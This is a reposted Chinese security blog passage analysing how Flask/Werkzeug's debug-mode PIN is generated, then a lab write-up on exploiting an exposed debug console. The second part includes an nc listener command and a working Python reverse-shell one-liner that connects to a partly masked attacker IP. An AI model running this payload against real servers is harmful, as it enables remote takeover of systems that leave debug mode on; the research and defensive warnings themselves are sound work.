Flask debug 模式 PIN 碼生成機制安全性研究筆記


Flask debug 模式 PIN 碼生成機制安全性研究筆記

0x00 前言

前幾天我整理了一個筆記:Flask開啟debug模式等於給黑客留了后門,就Flask在生產網絡中開啟debug模式可能產生的安全問題做了一個簡要的分析。其中有一個比較嚴重的安全問題是,可以在交互式Python shell中執行自定義Python代碼。就這一點來講,在舊版本的Flask中是不需要輸入PIN碼認證就可以執行代碼,其危害不言而喻。

在新版本的Flask中需要輸入PIN碼進行認證,才能執行自定義代碼,於攻擊者來說,這顯然有點雞肋了。

而后,偶然中發現,在同一台機器上,多次重啟Flask服務,PIN碼值不改變。也就是說PIN碼是一個固定值,這極大的引起的我的興趣。

於是,筆者就PIN碼的生成機制做了一些學習研究,便有了本文。

0x01 基礎環境

Windows 7 x64

Python 2.7.14

Flask 0.12.2

pdb

0x02 PIN 碼生成流程分析

最開始在是在周會上,幾位大佬就PIN碼可能的生成方式發表了自己的看法。會后 @Royal.師傅 指出了PIN碼生成的關鍵函數,提點了我一發。

奈何靜態分析起來有些吃力,要是能有個工具可以在程序執行時,對其下斷點,一步一步的跟蹤,那還是極好的。 后來向ph師傅@周佩雨 請教后,其向我推薦了pdb,簡單理解pdb就是一個調試Python用的調試器(牆裂推薦!玩出了二進制安全的快感!2333)。

so,在分析Flask程序執行流程,直到定位到PIN碼生成函數這段過程,都會大量依賴pdb,來梳理函數間的調用關系。

示例代碼依舊使用上一篇文章中的測試代碼:

# -*- coding: utf-8 -*-
import pdb
from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
   return Hello

if __name__ == "__main__":
   pdb.set_trace()
   app.run(host="127.0.0.1", port=80, debug=True)

值得注意的是,我在第1行import pdb,第11行pdb.set_trace(),就是在app.run()函數前下斷點。關於pdb的常用命令,不需要再去其他博文中補充知識。用到哪個,我都會簡單介紹下。

第1步:啟動該Flask應用(其會在app.run()函數前斷掉)

v2-3cbf4fdbc15475eb0d4f7c74f1db2a0c_hd.jpg

第2步:使用s命令,進入app.run()函數中(C:\Python27\Lib\site-packages\flask\app.py   第782-846行),多次輸入n命令(執行下一行),抵達第841行的run_simple()函數

v2-036bb4186b7873a1f0087957ecad0fc9_hd.jpg

按s命令,進入run_simple()函數。多次執行n命令,抵達C:\Python27\Lib\site-packages\werkzeug\serving.py 第736行,創建DebuggedApplication對象的位置(即創建對象的過程會執行DebuggedApplication類的__init__構造方法)。

v2-8150384139c228064feae0d2312c09ba_hd.jpg

按s命令,步入DebuggedApplication類的實現代碼(C:\Python27\Lib\site-packages\werkzeug\debug\__init__.py 第199-468行)中:

v2-6e0b894717c5cad440a8656207ac1091_hd.jpg

根據文件名稱、類名稱等可以推斷出,這部分中就會有生成PIN碼的關鍵代碼。

順便提一句,

Flask is a microframework for Python based on Werkzeug, Jinja 2 and good intentions.

Flask是基於Werkzeug和Jinja 2的Web框架。研究Flask的PIN碼生成機制,就是研究Werkzeug的PIN碼生成機制。

繼續向下跟,第251行和第262行之間

v2-5e355d0ac271ac9b5ddcedc0b78e5d1e_hd.jpg

有一個判斷操作,如果PIN啟用的話,及self.pin存在值,則會通過_log()函數,將PIN碼打印到終端。

ok,那我們現在只要在程序執行到if self.pin is None:時。進入self.pin,查看其實現方式即可(這里用到了Property的概念,簡單理解在Python的類中,針對類中的成員變量,提供了Property,方便定義get和set方法,方便對該變量取值和賦值。詳細內容可以在參考鏈接中查看)。

v2-a59d3156f49e6fe1ac5f88fb9302c0f2_hd.jpg

第266行,通過get_pin_and_cookie_name()函數對PIN碼進行賦值

v2-c6311880161ba754a4a29b5cf0157bee_hd.jpg

繼續跟進get_pin_and_cookie_name()函數(第115-196行),重頭戲來了!

v2-5a77622c34a2367deea19154d4a0f72a_hd.jpg

在這個函數中,前幾行定義了pin、rv、num 3個變量值為None(在調試器中使用【pp 變量名】即可查看變量值)。其中根據函數的返回值,rv的值就是我們要重點關注的PIN碼,在這個函數的執行流程中,需要重點關注rv變量的賦值。

v2-ca8abb6a9ebbee0b6af210ac2cd2e8f1_hd.jpgv2-9860f5c0e9a10c72ff42640417ea33e9_hd.jpg

由於PIN的值為None,so第108-137行兩個if判斷均不會執行,繼續向下走。

v2-b191bd199bf462e9885bdba8ca58e7fc_hd.jpg

modname變量被賦值為“flask.app

v2-ef7a756e50bb70565ecfc0b2f2d7f3a1_hd.jpg

繼續向下執行,在第145行username = getpass.getuser(),username變量被賦值為“當前登錄服務器的用戶名”。向下執行,mod被賦值為

繼續向下執行,第151-168行,是生成PIN碼的儲備階段,對多個變量進行了賦值。

v2-1e9e76c48f163fe4cda2c57d60360a47_hd.jpg

下圖為各變量此時的值

v2-2bbc999fefb6130e0f3a07198a9f90dd_hd.jpg

通過h.hexdigest()函數可以獲得h的MD5值(后面會用到)。

v2-3de1da4d3d8172900e8358fc72810638_hd.jpg

根據上圖的執行流程,先來看下169-174行的for循環,循環次數即為前面那一坨變量值得數量,共6次。

第1次循環,將“當前機器用戶名”的MD5形式存入h變量中。

第2次循環,將“當前機器用戶名”+flask.app的MD5形式存入h變量中。

...

第6次循環,將以上6個值的MD5形式存入h變量中

第175、182行將兩個固定的字符串加入其中。變量num的值為MD5值16進制的前9位,經過187-194行代碼處理,以111-222-333形式輸出。

v2-348dbcbc6bade3d608ddb102f2dfc4cb_hd.jpg

0x03 PIN 碼的生成流程安全么?

通過0x02小結,現在已經摸清了PIN碼的生成流程。我們可以知道PIN碼的值由【當前計算機用戶名:XXX】、【flask.app】、【Flask】、【C:\\Python27\\lib\\site-packages\\flask\\app.pyc】、【str(uuid.getnode())】、【get_machine_id()】組合獲得,缺一不可。

flask.app】、【Flask】已知。

絕對路徑可以由debug頁面的報錯信息獲得,【C:\\Python27\\lib\\site-packages\\flask\\app.pyc】也能拿到。

現在的問題是,如何獲得【當前計算機用戶名:XXX】、【str(uuid.getnode())】、【get_machine_id()】3個變量的值。

先來看下Flask自動義的get_machine_id()函數(C:\Python27\Lib\site-packages\werkzeug\debug\__init__.py 第51-101行)

v2-7015827afa5220e02a933047725fca57_hd.jpg

返回值rv由內部的_generate()函數獲得。

根據第60-65行,可以看到,

v2-417e2e74de3e0b157abcdea970b0bbc5_hd.jpg

若/etc/machine-id,/proc/sys/kernel/random/boot_id文件存在,則返回文件中的值。看到這里就知道,想要預測這個值,那是沒戲了。

因為我的測試機用的Windows,看一下對Windows這塊是怎么實現的。

v2-15194d431f12db90731566062ce42c64_hd.jpgv2-15194d431f12db90731566062ce42c64_hd.jpgv2-a647a08f5943b867ec4fd2b582462c26_hd.jpg

歡笑中打出GG。至於獲取【當前計算機用戶名:XXX】、【str(uuid.getnode())】的實現代碼,我這里就不做過多的分析了。

0x04 后記

通過這次分析,可以學習到Flask的開發人員在實現PIN生成機制的過程中還是非常嚴謹的。至少我這里沒有辦法預測出指定機器的PIN碼。

文章記錄了我這次分析的過程,雖然沒有找到預測PIN碼的方法,但是學習到了Flask的PIN碼生成機制,以及通過pdb調試代碼。也算是一種收獲吧。

當然,如果對這方面有興趣的同學,恰好看到了我的這篇文章,希望你也能有所收獲。同時,如有謬誤,還請不吝賜教。

之后的話,我可能還會看下有沒有繞過PIN碼直接調用Python shell的方式、或者其他的安全問題。

隨着Python的廣泛應用,在機器學習、Web開發方面可以越來越多的看到Python的身影,Python相關的安全問題也越來越重要。我這里拋磚引玉,記錄一下我的學習過程,期待各位大佬投入到相關安全問題的挖掘中來(可能很多人已經在做了),同時可以分享自己的研究成果。期待ing

Flask在生產環境中開啟debug模式是一件非常危險的事,主要有3點原因:

1、會泄露當前報錯頁面的源碼,可供審計挖掘其他漏洞

2、會泄露Web應用的絕對路徑,及Python解釋器的路徑(可以配合寫文件漏洞向指定目錄的文件內寫入構造好的惡意代碼,利用方式可以參考安全客的這篇文章:文件解壓之過 Python中的代碼執行

3、debug頁面中包含Python的交互式shell,可以執行任意Python代碼

漏洞分析

由於最近在搞站的時候有幸遇到了這個漏洞,便想着將相關的知識點整理一下,方便之后查閱。當然我們不可能在生產環境中去研究這個漏洞怎么利用,而是要通過搭建實驗環境做進一步的分析,於是便有了本文。

搭建實驗環境

第1步:下載Flask框架

pip install flask

第2步:寫一個最簡單的基於Flask的Web應用,並開啟調試模式

from flask import Flask

app = Flask(__name__)

@app.route("/")
def hello():
    return Hello

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80, debug=True)

這是一個存在錯誤的代碼,第7行中函數返回值未定義。

第3步:假裝部署到生產環境中,等待着被黑客攻擊2333

python hello.py

經過如上3個步驟,實驗環境搭建完畢。

漏洞利用

由於該網站的后端代碼存在語法錯誤,在網站運行過程中,我們只要訪問這個網站的根目錄,就會執行hello()函數,由於其返回值未定義,存在語法問題,故拋出500錯誤,進入debug頁面。

接下來就說一說,如何利用這個debug頁面。

通過棧回溯信息可以看到,Python解釋器及相關第三方模塊的路徑。

Web應用路徑,以及當前報錯頁面源碼。

當然,這些並不是本篇文章的重點,接下來我將重點說下debug頁面中包含的Python交互式shell,以及利用這個交互式shell我們應該執行哪些代碼。

在本次的測試環境中,要進入這個Python shell需要輸入一個PIN碼,當時偶遇這個漏洞的時候,目標站點是不需要屬於PIN碼的(可能是Flask的版本原因,具體原因暫未考證。目測這個PIN碼是可以爆破的,之后有時間的話會研究下具體的實現方式)。

由於當時遇到的是Linux系統,為了復盤漏洞現場,便把實驗代碼移植到Linux系統運行(前面相應的截圖在這里就不做替換了,內容比較簡單,不影響閱讀)。

通過Python代碼反彈shell

最初我的想法是直接利用這個交互式shell,導入os模塊,執行系統命令。當我執行ls命令,試圖讓其返回當前目錄下的文件列表時,奈何只返回了一個數字0。竟然沒有返回值!所以只能說是shell,還夠不上交互。

我輸入的代碼os.system('ls')只返回了一個數字0,通過os.system()調用nc反彈shell也不能成功。走到這里,我是有一個疑問的,我輸入的python代碼是否成功執行?是不是因為設置了Python沙盒,禁用了某些函數。

由於獲取不到返回內容,並不能確定python代碼是否成功執行,也不能確定當前權限哪些系統命令可以執行,哪些不能執行。當然,靠猜的話,那就沒啥意思了,萬事都要講究個邏輯。

便想着curl下自己的站點,觀察訪問日志(如果最后shell反彈不成功的話,通過這種方式也可以獲取到命令執行的返回值)。

由此可見,os.system()函數沒有被禁用,至於為什么通過nc反彈不會來shell,那就應該從其他點再進行排查了。

反反復復,由於時間關系,中間過程遇到的一些小問題暫且不表,最后通過如下命令成功反彈回shell:

Attacker在一台公網的服務器上監聽端口

nc -vvlp 1234

在debug頁面輸入Python代碼,反彈shell至Attacker的機器

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("19x.13.xx.254",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

后記

希望對相關內容感興趣的人偶然看到了本文能有所收獲,如果你有更多的利用方式,還請不吝賜教,tks。

0x05  參考鏈接

Python 代碼調試技巧

Flask (A Python Microframework)

Python中的property() 函數 和@property 裝飾符

Linux 內核參數詳解-KERNEL


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM